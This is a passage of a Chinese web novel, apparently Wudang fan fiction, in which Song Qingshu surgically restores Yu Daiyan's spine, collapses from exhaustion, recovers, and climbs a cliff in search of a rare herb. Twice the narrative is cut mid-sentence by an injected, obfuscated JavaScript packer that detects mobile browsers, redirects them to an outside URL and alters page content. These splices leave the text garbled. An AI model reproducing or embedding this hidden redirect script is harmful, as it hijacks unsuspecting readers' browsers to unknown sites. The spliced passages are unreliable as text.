治疗前的准备已持续了一月。第一步,宋青书每日以自身恢复的充盈的念力,为俞岱岩瘫痪多年的下肢仔细“充盈血脉”。 这一步和简单的活血不一样,而是以念力那独特的滋养生机之能,细致地刺激、温养那些因长期废用而萎缩、近乎干涸的血管与肌肉组织,唤醒它们微弱的活力,为接下来的第二步储备最基本的养分与承受力。 俞岱岩能感觉到每日治疗后,双腿那原本冰冷麻木的感知中,会泛起一丝持续稍久的微弱暖意,甚至能更清晰地“感受”到金针刺激的穴位。 这日,晨光熹微,听松小筑内外气氛凝重。张三丰、宋远桥、俞莲舟、张松溪、殷梨亭、莫声谷尽数到场,亲自护法。 屋内,俞岱岩已服下由张松溪精心调配的强力麻沸散,此刻沉沉睡去,呼吸平稳。床边,摆放着宋青书所需的全部器具:烈酒、烛火、特制刀具、金针、以及那盛放着“冰魄银丝”与“冰魄银片”的木盒。 宋青书净手焚香,宁心静气。他看向一旁的张三丰和宋远桥,郑重道:“太师父,父亲,诸位师叔,青书要开始了。过程或许颇长,不能有丝毫打扰。” “放手施为,万事有我们。” 张三丰颔首,目光中充满信任与鼓励。 宋青书点头,转身立于床前。他先以金针加深俞岱岩的沉睡,并护住其心脉要害。然后,他深吸一口气,双眸微闭,旋即睁开时,已是一片沉静无波的深邃。胸中念力光团莹莹生辉,缓缓流转。 治疗第二步,正式开始——接续断脉,重塑脊骨! 他首先取出了“冰魄银丝”。这灵线在他念力催动下,竟仿佛活了过来,散发出淡淡的、如梦似幻的月白色荧光,柔和却带着一种奇异的穿透感。宋青书以念力精细操控,配合着特制的、细如毫芒的玉质导引针,开始了武当山上、乃至整个武林前所未有的一次治疗。 导引针带着“冰魄银丝”,从俞岱岩腰背几处特定穴位缓缓刺入,向着那受损最严重的脊骨区域探去。宋青书全神贯注,念力既是他的眼睛,也是他的手。在他的“内视”中,俞岱岩体内那错综复杂、多年淤塞毁损的经脉网络清晰呈现。那些被金刚指力震断、扭曲、萎缩的经脉,如同龟裂的地面。 他以“冰魄银丝”为新渠,以念力为引水。灵线所至,首先以其特有的冰凉柔韧之意,将那些纠缠的瘢痕组织轻柔地分离、推开。然后,线体本身仿佛能与受损的经脉断口产生某种玄妙的吸引与接续。 宋青书小心翼翼地操控着灵线,将其嵌入主要的经脉断口之间,念力随之滚滚涌入,驱动着灵线内蕴的磅礴生机与锐气。 刺激、引导断口两端的残存经脉组织,沿着“冰魄银丝”重新生长、连接、融合! 这是一个极其缓慢、消耗巨大的过程。宋青书的额头很快布满细密的汗珠,脸色开始发白。但他手下稳如磐石,念力输出稳定而绵长。一条主要的经脉接续完成,立刻转向另一条……“冰魄银丝”在他的操控下,如同最灵巧的织女手中的银梭,在俞岱岩体内编织着一张细微而崭新的生机之网。 时间一点点过去,窗外日头渐高,又渐渐西斜。护法的众人屏息凝神,不敢发出丝毫声响,只能看到宋青书的背影微微颤抖,汗水早已浸透了他的青衫。 经脉接续初步完成框架后,最艰难的部分到来——修复碎裂错位的脊骨! 宋青书又接着取出了“冰魄银片”。这些薄片同样在念力下泛着淡淡的银辉,质地奇异,坚硬却又不乏韧性。他需要以念力驾驭这些银片,深入骨骼断裂处,将陈旧错位愈合的骨茬重新修正、对齐,并以银片作为临时支撑和内固定的夹板,同时引导骨细胞在银片和灵线营造的生机环境中加速愈合、重塑。 这过程需要更精细的力道控制,如同在豆腐上雕刻,重一分则伤及脊髓,轻一分则无法复位。宋青书的精神已绷紧到极致,念力如丝如缕,渗透到骨骼的细微之处。他以银片轻柔却坚定地撬开那些畸形的骨痂,将歪斜的骨块一点点挪回正确的位置,然后用念力裹挟着银片贴合上去,银片仿佛能自然吸附在骨面,并提供稳固的支撑。 疼痛是不可避免的。即便在深度麻醉下,当骨骼被移动、矫正时,俞岱岩的身体仍会无意识地微微抽搐,眉头紧锁。宋青书只能更小心、更快地操作。 当最后一片“冰魄银片”在念力驱动下,完美嵌入最后一处需要加固的骨缝时,宋青书感觉自己的念力几乎被抽空,胸中光团黯淡如风中残烛,头脑中阵阵强烈的眩晕袭来,眼前阵阵发黑。 在这银辉的照耀与宋青书最后念力的催化下,银丝与银片内蕴的所有生机灵韵被彻底激发,与俞岱岩自身被唤醒的残存生机、与张三丰守护在侧的无上真气产生了玄奥的共鸣与融合。新的经脉在银丝的引导下加速对接、巩固;受损的骨骼在银片的支撑与生机浸润下,开始了真正意义上的愈合重构;萎缩的肌肉、血管、神经,如同久旱的大地迎来甘霖,贪婪地吸收着这磅礴的生机,缓慢而坚定地恢复着活力……整个的治疗过程持续了一天一夜。 当最后一点光华隐入俞岱岩体内时,宋青书再也支撑不住,身体晃了晃,连退两步,想要伸手扶住桌沿,手却捞了个空,眼前彻底一黑,意识如同断线的风筝,飘离而去。在彻底失去知觉前,他只模糊看到师祖和父亲惊急抢上前来的身影,随后便陷入了无边无际的黑暗与虚脱之中。 “快扶住他!” “噗通。” 声音其实不大,但在极度寂静的室内,却如惊雷炸响。众人还沉浸在方才那奇迹般的光华景象中,目光尚未从俞岱岩身上完全移开,便惊骇地看到——宋青书,如同被抽去了所有骨骼与灵魂,直挺挺地、毫无缓冲地向后仰倒,重重摔在冰冷的地面上! “青书!!!” 离得最近的宋远桥第一个反应过来,那声嘶吼破了音,带着无法言喻的惊恐与痛楚。他几乎是扑过去的,膝盖砸在地面发出闷响也浑然不觉。颤抖的手伸向儿子的鼻息,触手之处,气息微弱得几近于无!再探颈脉,跳动迟缓沉涩,似有似无。 宋青书的脸已不是苍白,而是一种近乎透明的灰败,嘴唇没有一丝血色,眼睑下是浓重的青影,整个人仿佛一尊精致却已碎裂的瓷偶,生机正在飞速流逝。 “青书……青书!” 宋远桥这位向来以端严持重著称的武当掌门,此刻只觉得天旋地转,心脏被一只无形的手狠狠攥住,几乎无法呼吸。他想要将儿子抱起,手臂却抖得厉害。 几乎是同时,一道灰影已如瞬移般出现在宋青书身侧,是张三丰!老人家的脸上,方才因俞岱岩体内变化而泛起的激动红晕瞬间褪尽,转为一种沉凝的铁青色。 他没有丝毫犹豫,枯瘦但稳如磐石的手掌已然贴上了宋青书背心“灵台穴”,精纯无比、浩如烟海的内力如同最温和也最坚定的暖流,源源不断渡入,先护住那摇摇欲坠的心脉,吊住最后一缕生机。他的手指快速在宋青书几处大穴拂过,越是探查,眉头锁得越紧,眼中的痛惜与凝重几乎化为实质。 “心力枯竭,神魂透支……这孩子,是把命都拼上了啊!” 张三丰的声音低沉沙哑,带着一丝不易察觉的颤抖。他行医练气百年,已经很长时间没有见到心神损耗到如此油尽灯枯地步的。 “师父!青书他……” 俞莲舟也抢步上前,素来冷峻的脸上此刻充满了罕见的惊惶。他看到宋青书那灰败的脸色和微弱的气息,再想起刚才治疗时感受到的那股几乎焚尽一切的念力波动,瞬间明白了这孩子付出了何等代价。 他二话不说,单膝跪地,掌心抵住宋青书丹田“关元穴”,将自身精修的纯阳内力毫无保留地输入,与师父的内力一上一下,形成护持。 这时,张三丰想到青书体内的念力居然没有暴动,大概正是因为耗尽之故,所以无力暴动了吧。 张松溪迅速取来数个瓷瓶。“快!‘护心丹’三粒,化水!‘安神散’直接吹入鼻窍!他神魂 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他挣扎着,极其缓慢地、一点一点地睁开了眼睛。视线起初模糊,耳中嗡鸣,但很快,他看到了围在房间中央地上一动不动的众人,看到了师父和大哥那从未有过的惊惶面色,看到了莲舟、松溪凝重的侧脸,看到了梨亭的泪光和声谷的捶胸顿足。 然后,他的目光艰难地越过缝隙,落在了地上那抹刺眼的青衫上——是青书!他怎么了?为什么躺在地上?脸色……为什么那么可怕? 一个可怕的念头如同冰水浇头,瞬间淹没了俞岱岩刚刚因身体复苏而升起的一丝微弱喜悦。难道……难道为了治我,青书他……?! “青……书……” 他张了张嘴,想喊,却只发出嘶哑破碎的气音。他想撑起身体去看,可刚刚接续的经脉和修复的骨骼根本无法用力,反而传来一阵强烈的、陌生的酸麻痛楚,让他闷哼一声,动弹不得。这种无力感,比过去十几年瘫痪时更让他感到恐慌和绝望!过去他无法动,是知道自己废了;现在他感知到了身体,却依然无法去查看、去帮助那个为了他变成这样的孩子! “三弟!你别动!” 宋远桥察觉到床上的动静,猛地回头,脸上泪痕未干,声音却强自镇定,“青书……青书只是太累了,晕过去了。师父和莲舟正在救他,你千万别动,刚刚才好一点!” 他这话既是安慰俞岱岩,又何尝不是在安慰自己。 俞岱岩如何能信?他只是死死地盯着地上的宋青书。 “岱岩,噤声,守心!” 张三丰一边全力为宋青书渡气,一边沉声喝道,声音带着不容置疑的威严。 “青书福缘深厚,意志坚韧,必能渡过此劫!你现在情绪激动,于他无益,于你自身恢复更是大害!松溪,去看住你三哥!” 张松溪连忙起身,来到床前,按住俞岱岩的肩膀,将一股宁神静气的内力渡入,低声道:“三哥,相信师父,相信青书。你若再出岔子,青书这番苦心,就真的白费了!” 俞岱岩闭上眼,两行浊泪却从眼角无声滑落,没入鬓发。 时间在焦灼的抢救中缓慢流逝。每一息都无比漫长。张三丰的内力如同无尽暖洋,滋养着宋青书干涸的经脉与心窍;俞莲舟的内力则稳守丹田,固本培元;最好的丹药被化开,一点点喂入。 终于,在仿佛过了千百年之后,宋青书的气息,在张三丰浩瀚内力的护持下,渐渐变得明显了一丝,虽然依旧细若游丝,却不再是那种即将消散的虚无。灰败的脸色也稍微回转,有了些许极淡的微光,尽管仍旧惨白如纸。 张三丰缓缓收回手掌,长长吐出一口浊气,额角竟也隐隐见汗。他看向众人,声音疲惫却带着一丝如释重负:“暂时……稳住了。心脉已护住,元气溃散之势止住。但神魂损耗太重,念力本源近乎枯竭,两三日后会醒来,让这孩子好好休息吧。” 听到这话,宋远桥紧绷的身体晃了晃,几乎软倒,被殷梨亭一把扶住。 “抬到隔壁宁心堂,小心,不可颠簸。” 张三丰指挥着,“远桥、莲舟,你们轮流以纯阳内力为他温养经脉,不可间断。等他体内念力有恢复之势,立马停止。松溪,你负责用药和针灸,随时调整。梨亭、声谷,护好外面,不许任何人打扰。岱岩这边……” 他看了一眼俞岱岩,叹了口气,“松溪也一并照看,他的情绪,现在比身体更需要稳定。” 众人立刻依言行动,小心翼翼地将昏迷不醒的宋青书抬起,仿佛托着一件稀世易碎的珍宝,挪往隔壁。宋远桥一步不离地跟着,目光始终锁在儿子脸上。 屋内,瞬间空荡下来,只剩下浓郁的药味、未曾散尽的清灵之气。 俞岱岩独自躺在重新寂静下来的房间里,听着隔壁隐约传来的、刻意压低的忙碌声响,感受着体内那新生的、陌生而又带来希望的感觉,有泪水涌出。 喜悦吗?有的,身体的变化真实不虚。但这喜悦,此刻被更大、更沉痛的忧虑紧紧包裹。 那个总是沉静温和、叫他“三师叔”的少年,那个一次次带来惊喜与希望的子侄,此刻正生死未卜地躺在隔壁,原因全在于自己。 不知过了多久,俞岱岩深吸一口气,凝聚起这十几年来从未真正用于控制下肢的意念,尝试着屈起左腿的膝盖。 一阵强烈的、如同万蚁啃噬又混合着新生力量的酸麻胀痛传来,但那条腿,真的缓缓屈了起来! 他想他要站起来,他要自己去守着青书! 他双手撑住床沿,用尽全身力气,一点一点,将那双阔别大地十几年的脚,挪到了床下,踩在了坚实的地面上。冰冷的触感从脚底传来,却让他激动得浑身发抖。 他尝试着站起。双腿颤抖得厉害,几乎无法支撑,那新接续的经脉和修复的骨骼传来清晰的、类似过度拉伸的疼痛。但他咬着牙,凭借着残存的上半身力量和顽强的意志,竟真的,摇摇晃晃地站了起来! 虽然只站了短短不到十息,便因无力与剧痛而跌坐回床沿,但就是这短短的一站,已然是破开黑夜的第一道曙光! “三弟!”“三哥!” 听到屋内动静,刚刚安置好宋青书、焦急等待的张三丰和宋远桥等人冲了进来,恰好看到俞岱岩跌坐回去的一幕,但也无比清晰地看到了他方才站起的瞬间! 宋远桥虎目含泪,一个箭步冲上前,扶住俞岱岩的肩膀,声音哽咽:“三弟……你……你能动了?你真的能站了?!”狂喜让宋远桥都语无伦次了。 俞岱岩抬起头,这个历经磨难、意志如铁的男人,此刻眼眶通红,嘴唇颤抖,半晌才发出沙哑的声音:“大哥……师父……我……我的腿,是有知觉了……我……我刚才站起来了……”“青书真的把我给治好了……” 张三丰快步上前,苍老的手掌颤抖着按在俞岱岩的膝盖上,内力一探,脸上瞬间浮现出难以置信的狂喜与激动! 刚才几人都忧心宋青书,所以没有给俞岱岩检查。 “好!好!好啊!岱岩!青书他……他成功了!他真的做到了!” 张三丰仰天大笑,笑声中充满了欣慰与感慨,眼角亦有湿润,“天佑我武当!天佑岱岩!” 莫声谷更是直接蹦了起来,又哭又笑:“三哥!三哥你能站了!太好了!太好了!” 俞岱岩急道:“我要守着青书,快带我去看他!” 俞岱岩刚刚恢复,岂能随意移动?众人连忙劝住。张三丰道:“岱岩,你刚有起色,不可妄动,需静养适应。青书那边有我们,你且宽心。你如今能站,哪怕一时,便是希望!后续恢复,徐徐图之。” 俞岱岩看着师父和兄弟们关切激动的脸庞重重点头。 30. 叔侄堂前破疾难2 宋青书仿佛沉在无光的深海,意识浮沉,只有极度消耗后的虚无与疲惫如同冰冷的海水包裹着他。耳边时而传来模糊的呼唤,像是从极遥远的水面传来,时而又只剩下自己沉重的心跳与血液流淌的嗡鸣。时间失去了意义,只有那深不见底的疲倦,拖拽着他不断下沉。 然而,在这片意识混沌的深海底部,似乎又有什么东西在悄然萌发。那是一点微弱却坚韧的暖意,源自他空空如也的丹田深处,最初只是星火,却顽强地抵御着四周的冰冷与虚无,并开始极其缓慢地吸收着什么。 是那些穿透沉重水波、模糊却真挚的关切意念?这点暖意逐渐生长,从火星变成萤火,又慢慢稳定下来,成为一团虽然细小、却比以往任何时候都更加凝实、更加莹润、内里仿佛有氤氲光华流转的念力核心。 不知过了多久,仿佛跨越了漫长的黑夜,一丝微弱的光亮终于刺破了沉重的黑暗。宋青书的睫毛颤动了几下,艰难地掀开了一条缝。 模糊的视线逐渐清晰。首先映入眼帘的,是熟悉的房梁,是自己房中那盏静静燃烧、光线柔和的油灯。窗外是沉沉夜色,隐约有松涛声传来。喉咙干得发痛,全身如同被碾过一般酸软无力,连动一动手指都异常艰难。 先于意识苏醒的是一股暖流——温和醇厚,像冬日里化开的雪水,自百会穴汩汩注入他枯竭的经脉。是太师父的真气。 宋青书终于撬开了眼皮。 视线先是模糊的,只有影影绰绰的几团颜色。渐渐地,那暖白的是太师父张三丰的须发,灰蓝的是七叔莫声谷的衣袍,玄青的是二叔俞莲舟的背影……他们围着他,像一座沉默而坚实的塔。鼻腔里闻到熟悉的、混合着草药与松墨气息的武当山味道,而不是地牢的霉腐。这认知让他心头一酸,几乎又要坠入黑暗。 “青书。” 声音来自头顶,是太师父。那只布满皱纹、曾开宗立派的手,此刻正轻按在他的额上,指尖传来的温度,熨帖着他灵台深处最后一丝惊悸与寒凉。 他喉咙里发出一点气音,想说话,却只扯动干裂的嘴唇。 他想动,哪怕只是指尖,身体却像不是自己的,沉重得仿佛陷在万丈泥淖之中。曾经充盈四肢百骸的力量消失殆尽,每一次心跳都显得空洞而疲惫,将血液输送到指尖都像一场漫长的远征。 “莫急。” 二叔俞莲舟的声音响起,比太师父的冷硬一些,却同样稳如磐石。他端着一只素瓷碗,碗沿冒着丝丝白气。 他的动作是少有的小心,用匙羹舀了温热的参汤,递到宋青书唇边。 汤匙触到唇瓣。宋青书用尽全部意志,才勉强微微张口。暖流滑入喉咙,带来一丝微弱的生气,也勾起了更深的疲惫。他吞咽得极其缓慢,每一下都牵动着不知哪里的隐痛。 七叔莫声谷性子最急,此刻却只是红着眼眶,拳头攥紧了又松开,最后只哑声道:“傻小子……” 便扭过头去,肩膀几不可察地耸动了一下。其他几位师叔或站或坐,神情皆是凝重中带着后怕。 与……如释重负的柔软。 张三丰缓缓收回手掌,那股支撑着他的暖流稍减,更深的虚弱立刻如潮水般漫上来。但老人家的手转而轻轻覆在他冰凉的手背上,掌心粗糙而温暖。 “睡吧。” 太师父的声音如同叹息,又如同最安稳的咒语,“我们在这里。余下的,等你有了力气再说。” 宋青书最后一点强撑的意识,又彻底松懈下来。 他又允许自己,沉入了没有噩梦的黑暗。 因为自己实在是太累了。 又过了一天一夜。 “水……” 宋青书嘶哑地发出一个音节。 “青书?!你醒了?!” 守在床边的殷梨亭立刻被惊动,脸上瞬间涌现出巨大的惊喜,连忙小心地扶起他,将温热的参汤一点点喂到他唇边。 温润的液体滑过喉咙,带来些许生气。宋青书缓了缓,才看清床边除了六师叔殷梨亭,父亲宋远桥也正关切地看着他,眼中布满血丝,显然守候多时。 “我……睡了多久?” 宋青书声音依旧虚弱。 “整整三天三夜了。” 宋远桥声音有些发涩,带着心疼,“青书,你……” 三天三夜……宋青书心中微震。他试着内视己身,那股熟悉的疲惫依旧,但丹田处那团新生的念力光团,却让他精神一振。它虽然体积似乎比昏迷前巅峰时小了些,但质地却有了脱胎换骨的变化!更加凝练,更加精纯,光华内蕴,流转间带着一种圆融如意的生机,仿佛经历过最彻底的淬炼后,去芜存菁,获得了新生。 而且,他隐隐感觉到,自己此刻虽然虚弱,但感知似乎更加敏锐了,空气中流动的气息,门外细微的声响,甚至父亲和六师叔身上那种发自内心的、浓郁的欣慰与感激之情,都仿佛化为了一种无形的、温和的“养分”,丝丝缕缕,被自己这新生的念力核心自然而然、极其缓慢地吸纳着,滋养着它缓缓恢复。 原来,不仅仅是行善救治,这种源自他人的真挚感激与正面情感,也能助长念力?这个发现让他心中一动。 “三师叔……他怎么样了?” 宋青书急切地问,这才是他最牵挂的事。 听到这个问题,宋远桥和殷梨亭的脸上同时绽放出无法抑制的、近乎灿烂的笑容,那笑容里充满了十五年来从未有过的释然与喜悦。 “成了!青书,你做到了!” 殷梨亭激动地握住他的手,“三哥他……他能站起来了!虽然还走不了几步,腿上也没多少力气,但确确实实能自己站住了!还能在搀扶下慢慢挪动!师父亲自检查过,他受损的经脉已经有了连接的迹象,骨头也在愈合!虽然完全康复还需漫长时日,复健也会很辛苦,但……但希望真的有了!” 巨大的喜悦如同暖流冲刷过宋青书疲惫的身心,让他眼眶瞬间发热。成功了……真的成功了!他改变了!三师叔不用再困于轮椅十几年,不用再承受那些绝望与痛苦!前世的轨迹,从这一刻起,终于被彻底扭转!他不会重蹈覆辙,武当的悲剧,他自身的悲剧,从俞岱岩这里,开始被改写! “太好了……太好了……” 他喃喃着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋青书能下床走动后,第一时间去了听松小筑。院子里,阳光正好。只见俞岱岩正由莫声谷搀扶着,极其缓慢、一步一顿地练习着行走。他的动作僵硬而艰难,额头挂着汗珠,双腿不住地颤抖,显然每迈出一步都需耗费极大的力气并忍受着酸麻疼痛,但他的背脊挺得笔直,眼神专注而明亮,那是一种重获新生的、充满希望的光芒。 看到宋青书进来,俞岱岩停下脚步,转头望来。四目相对,千言万语似乎都在这无声的凝视之中。 “青书。” 俞岱岩开口,声音有些沙哑,却带着前所未有的温和与难以言喻的热切,“你醒了。感觉如何?” 宋青书快步上前,想要行礼,却被俞岱岩用眼神止住。“无需行礼,不要总跟三叔这么客气。” “三师叔,您……” 他看着俞岱岩额头的汗和微颤的腿,又是高兴又是心疼。 “无妨。” 俞岱岩嘴角扯出一抹笑意,那笑意虽淡,却发自肺腑,“比起在床上躺十五年,这点疼,算得了什么?每一步,都是赚来的。” 他目光深深地看着宋青书,一字一句道:“青书,三师叔这条腿,是你捡回来的。这份恩情,太重了。” “三师叔千万别这么说!” 宋青书连忙道,“这是弟青书应该做的!能看到您重新站起来,青书比什么都高兴!” 莫声谷在一旁也是眼眶发红,嘿嘿笑道:“就是!三哥,你跟青书还客气啥!这小子有本事,是咱们武当的福气!等你再好点,咱们兄弟几个,非得好好喝一顿不可!就喝当年埋在后山那坛‘松涛酿’!” 31. 莲塘风动碧波翻 松涛声里,宋青书轻轻推开了藏经阁那扇沉重的木门。距离上次醒来,已有月余。 如今他走在阳光下,虽仍觉手酸脚软,但已是好了太多。 更重要的是,心里最深处,似乎被一些笨拙却温暖的东西,一点点填着——来自太师父偶尔落在他肩头的手,来自师叔们递来的汤药,更来自三叔俞岱岩日渐松缓的眉目。 俞岱岩恢复得很慢。延续了十余载的沉疴,毕竟不是旦夕可愈。如今他已能凭着一副特制的硬木拐杖,自己从卧房挪到院中晒晒太阳,甚至能在无人搀扶时,颤巍巍地走上十几步。只是不能久,不能远,额角总会沁出细密的虚汗,每一次支撑挪移,都看得旁人暗自揪心。 可俞岱岩自己,脸上却常常带着一种近乎宁静的满足。那日宋青书在廊下遇见他,想伸手去扶,却被他用眼神温和地止住。 “我自己来,青书。” 他喘匀了气,倚着廊柱,望向远山叠翠,声音平静,“能这样站着,走着,不劳烦旁人……已是做梦都不敢想的好光景了。” 这话说得平淡。他看着三叔扶着拐杖、指节用力到发白的手,看着那努力挺直却依旧微偻的背脊,一个念头破土而出,又无法按捺: 既然当初能凭一口不甘之气炼化那异种鱼筋,重续断骨,如今为何不能以同样的心念,为三叔寻一条更强健、更彻底的复原之路? 这念头一旦生出,便如野火燎原。他将自己重新投入藏经阁浩瀚的典籍之中,明确得近乎偏执的目标——医书,尤其是那些记载着强筋壮骨、续接元气古方的医书。 他看得极细,从《黄帝内经》到孙思邈的《千金方》,从武当自家收录的道医杂录,到一些纸张脆黄、字迹湮灭的孤本残卷。 他的脸色在油灯与天光下交替显得苍白,眼底却燃着两簇幽火。人又清减了几分,宽大的道袍罩在身上,空空荡荡,唯有翻动书页的手指,稳定而有力。 武当诸侠将这一切看在眼里。张三丰在云台上打坐时,目光偶尔会掠过藏经阁那扇亮着灯的窗户,良久,才无声地敛回。俞莲舟吩咐道童每日往阁中送去的饭食,总格外精细温热些。莫声谷有次实在忍不住,在阁外拦住捧书疾行的宋青书,张了张嘴,最终只重重拍了拍他的肩膀,叹道:“……别熬坏了身子。” 俞岱岩则沉默着,在自己能走到的最近距离,望着那扇窗,拐杖抵着青石地面,久久不动。 功夫不负苦心。在一个露水很重的黎明,宋青书几乎要埋进一堆散乱的竹简里时,指尖忽然顿住。那是一卷名为《金石药髓》的残本,其中一页,以古朴的篆字,记载着一种名为 “磐石固元丹” 的方剂。其描述正合他心中所想:“取金石之坚,草木之韧,化入丹鼎,以念力导引调和……服之可强先天之本,固衰败之元,尤擅续接老旧陈伤,强筋健骨,有化腐朽为渐生之效。” 宋青书的心跳骤然加快,血液奔流的声音在耳中轰鸣。他屏住呼吸,逐字逐句地研读,将所需的药材一味味记在心中:百年赤石脂、淬火铜精、地脉紫灵芝、金线虎骨藤……他的眼睛越来越亮,如同绝境中的旅人看见了绿洲的轮廓。 然而,当他的目光移到最后一味,也是作为“药引”与“筋骨之契”的核心药材时,那光芒陡然凝固了。 擎骨草。 此名陌生。他猛地站起,不顾一阵眩晕,开始在周围所有可能相关的典籍中疯狂翻找对照。一个时辰,两个时辰……他确认了,方中所述“擎骨草”的形状、药性、生长环境,在武当浩如烟海的藏书里,竟只有这《金石药髓》一处记载,语焉不详,只模糊提到“似生于极阴之地,又有阳刚之质,叶如人掌托天,茎若脊骨擎立,”。 武当药圃没有,师兄们无人识得,问遍山下药铺,皆茫然摇头。 希望的山峰刚刚浮现,迎面便是深不见底的沟壑。缺了这一味“擎骨草”,磐石固元丹便是空中楼阁,所有设想尽成泡影。 他在藏经阁中枯坐了整整一日。夕阳将他的影子拉得细长孤寂。直到暮鼓响起,他才缓缓起身,将那页残卷小心翼翼地誊抄一份,贴身收好。然后,他整了整衣冠,面色平静得近乎肃穆,朝着紫霄宫后的云房走去。 “太师父。” 他在门外恭敬行礼,声音有些干涩。 “进来吧,青书。” 张三丰的声音一如既往的平和。 宋青书推门而入,看见老人正坐在蒲团上,面前一杯清茶已冷。俞莲舟、俞岱岩、莫声谷等几位师叔竟也在,似乎正在商议什么,见他进来,目光都落在他身上。 宋青书没有犹豫,径直走到张三丰面前,撩袍跪下,双手将誊抄的丹方高举过头顶。 “弟子不孝,又欲劳烦尊长。” 他垂着头,声音却清晰坚定,“弟子于藏经阁偶得此古方‘磐石固元丹’,或于三叔筋骨恢复大有裨益。然其中一味主药‘擎骨草’,武当无存,典籍缺载。弟子……恳请太师父与诸位师叔允准,下山寻访此药。” 殿内静了一瞬。 “青书,” 俞莲舟先开了口,声音沉稳,“你身体并未完全恢复。此药又闻所未闻,何处去寻?此事不必急于一时,可从长计议。” “二叔,” 宋青书抬起头,目光依次看过俞莲舟、莫声谷,最后深深望了俞岱岩一眼,“正因此药难寻,弟子才必须去。三叔能重新站立,已是上天垂怜,苍生厚赐。但弟子……弟子想让三叔站得更稳,走得更远,不必因几步路途便气喘吁吁,不必因久站便需倚杖强撑。” “师父,你便让青书去吧,他能够把三弟治好,相信他也必定会寻得此药。”宋远桥虽然也是十分担心,但是经过前面的一些事之后,他发现心志坚定,他决定的事情即使是他也不能够让他更改,或许只有师父张三丰才能够让他改变吧。 良久,蒲团上的张三丰缓缓伸出手,接过了那张丹方。他的目光在上面停留片刻,又看向跪伏的徒孙,最终化为一缕悠长的叹息。 “既然你意已决……” 张三丰的声音苍老而有力,“莲舟,声谷,多多备些银两和应急的丹药。” 次日清晨。 张三丰并未亲送,只在真武大殿前遥遥一望。 俞莲舟、张松溪、殷梨亭、莫声谷皆在,话不多,只细细叮嘱江湖险恶,留意暗处。 俞岱岩也执意拄拐送到了山门牌坊下。 “三叔,请回吧。” 宋青书对俞岱岩深深一揖,“弟子定当尽早归来。” 俞岱岩看着他,千言万语在喉间滚动,最终只道:“一切……小心。” 顿了顿,补充了两个字,“青书,你为三叔如此奔劳,三叔实在是心中有些过意不去。” “三叔,一家人不说两家话,你要好好恢复,等我回来。”宋青书郑重道。 暮春的落英山,阳坡的桃林已过了最绚烂的时节,粉白的花瓣零零落落地随风旋舞,铺满了小径,空气里仍残留着一丝甜软的余香。宋青书站在山脚下,目光却掠过这片温柔的残春景象,投向山体另一侧——那是截然不同的、沉默而险峻的悬崖峭壁,灰黑色的岩石在午后的阳光下泛着冷硬的光泽。 他理了理因赶路而微皱的青色布衣,走向山脚散落的几户农家。一位头发花白的老农正坐在屋前的矮凳上,就着天光修补一顶斗笠。宋青书在几步外停下,拱手,微微躬身,姿态恭敬而不显拘谨。 “老丈,午安。晚辈途经此地,想向您打听一味草药,不知可否叨扰片刻?” 老农抬起头,眯着眼打量他。见是个眼神清正却难掩疲惫的年轻人,衣着虽朴素,举止却自有一股书卷般的温和气度,便放下手中活计,点了点头:“小哥客气了,山里人没啥见识,你且说说看。” 宋青书从怀中取出一张折叠整齐的纸,小心展开,正是他根据古籍描述反复绘制的“擎骨草”图样。他并未直接递上,而是用清晰平缓的语调描述起来,同时用手指虚点图纸相应部位: “晚辈所求之草,名‘擎骨’,多生于阴湿见光之岩隙。您看,其叶形略似舒展的手掌,叶脉格外清晰坚韧;茎秆直立有节,色如老藤,质地坚实。不知老丈在山中行走时,可曾见过类似之物?” 他语速不快,吐字清晰,将一种陌生的草药描述得具体而形象,言语间没有丝毫急躁,目光温和恳切地落在老农脸上,耐心等待。 老农接过图纸,对着光仔细端详,布满老茧的手指在“崖隙”处摩挲片刻,沉吟道:“手掌样的硬叶子,灰扑扑的直杆子……嘶,你这么一说,我倒是想起个影儿。” 他抬手指向那险峻的背阴悬崖,“去年夏天,我在那边崖下砍柴,好像在东头那片特别陡、常年有渗水的石壁上,瞥见过几丛怪模样的草。离得远,叶子瞧不真切,但那杆子直挺挺的,跟周围软塌塌的杂草是不一样,当时还琢磨是啥呢,太高够不着。” 旁边一位正在编竹筐的中年汉子也凑过来看了一眼图,附和道:“对,那片崖是险,平时没人去。好像……是有那么几处石缝里,长着点儿不一样的东西,灰不溜秋的。” 宋青书的眼睛倏然亮了起来,如同夜行人望见了灯火。他强压住心头的激动,再次拱手,深深一揖:“多谢二位指点!这讯息于晚辈极为要紧,感激不尽。” 他又细细询问了那处崖壁更具体的位置和路径特征,确认无误后,才郑重道谢,小心收好图纸。 依照指点,宋青书绕至山阴峡谷。阳光被高耸的山体隔绝,谷内幽暗潮湿,凉意透骨。一道细瘦的瀑布如白练垂落,在下方深潭激起沉闷轰鸣。他仰头,目标崖壁就在瀑布左侧,湿滑陡立,岩缝间苔藓密布,隐约可见些深色斑驳。 他将包袱与青芜剑置于潭边干燥处,深吸一口带着水腥气的凉风,开始攀爬。岩壁覆满湿滑苔藓,可供抓握的凸起极少。失去内力,他全凭意志与残存的体力,手脚并用,向上挪移。指尖很快被粗粝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109850|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的岩石磨破,渗出血丝,混合着岩壁渗出的冰冷水珠。汗水滚入眼中,刺痛模糊,他咬牙忍着,目光只牢牢锁住上方那片可能藏着希望的岩缝。 就在他艰难攀至三四丈高,伸手去够一道较宽的裂缝边缘时,脚下那块看似稳固的石头,因常年被瀑布水汽浸润,突然松动、脱落! 身体骤然失重,风声呼啸灌耳。那一瞬,两世种种如同电光石火般掠过脑海。 今日自己恐怕断手断脚是在所难免了? 但预想的剧痛也未降临—— 